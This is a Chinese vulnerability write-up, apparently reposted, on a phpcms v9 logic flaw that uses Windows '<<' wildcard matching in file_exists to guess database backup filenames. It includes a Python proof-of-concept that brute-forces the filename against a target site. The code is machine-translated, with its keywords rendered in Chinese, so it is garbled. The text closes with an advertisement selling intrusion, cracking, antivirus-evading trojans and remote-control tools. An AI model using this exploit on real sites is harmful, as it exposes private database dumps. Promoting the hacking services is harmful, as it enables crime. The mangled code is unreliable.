简要说明
逻辑漏洞导致备份文件名被猜到,影响所有版本的phpcmsv9。
一,脆弱性原则
我们知道Windows的FindFirstFile(API)有一个可以使用<<作为通配符和PHP的opendir(win32readdir.c...
简要说明
逻辑漏洞导致备份文件名被猜到,影响所有版本的phpcmsv9。
一,脆弱性原则
我们知道Windows的FindFirstFile(API)有一个可以使用<<作为通配符和PHP的opendir(win32readdir.c)。 PHP的文件操作函数调用opendir,因此file_exists也具有此功能。
二是形成漏洞
可以控制程序文件apicreatimg.php中的$ fontfile变量,然后将其输入到file_exists函数中。文件存在且不存在时返回的页面不同。因此,您可以使用此点计算最多30个随机字母名称的备份文件(Web目录中的备份文件)。

第三,你想要漏洞POC
#!/usr/bin/env python
#编码=utf-8的
导入 urllib2
Def check(url):
标记 = 真
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (兼容; MSIE 5.5; Windows NT)')
响应 = urllib2.urlopen(req)
内容 = response.read()
如果 '不能' 在 内容:
标记 = 错误
返回 标记
Def guest(目标):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
利用 = '%s/api.php?
op=creatimg& txt=dysec& font=/././././caches/bakup/default /%s%s<<sql'
而 真:
字符 字母:
if check(exploit % (target, ''。join(arr), char)):
arr.append(char)
继续
if len(arr) < 20:
字符 alpha:
if check(exploit % (target, ''。join(arr), char)):
arr.append(char)
继续
elif len(arr) == 20:
arr.append('_ db_')
elif len(arr)== 29:
arr.append('_ 1.sql')
中断
if len(arr) < 1:
print '[*] not find!'
返回
print '[*] find: %s/caches/bakup/default /%s' % (target, ''。join(arr))
if __name__ == '__main__':
url = 'http://security.douyu.com'
#test
guest(url)
四,POC运行效果
转自: 脉搏文库 作者: 斗鱼SRC
黑客业务列表介绍和一般分类:
类别:攻击入侵破解开发
1:攻击业务订单:暂时取消所有此类业务订单[仅销售常规IDC流量]
2:入侵业务清单:包括网站源代码,办公系统,黑色系统,教育系统等。
3:破解业务类:软件,加密文件,二次打包,脱壳等。
4:二次开发业务清单:软件二次开发,源代码二次开发等
5:其他业务订单:特洛伊木马[通过所有防病毒],远程控制,特殊软件等
备注:未提及的业务订单可根据主要类别查询或直接联系客户服务。为避免浪费双方时间,请在咨询前阅读:业务交易流程及相关说明
注意:仅接受正式业务,个人无权接受。收集此内容。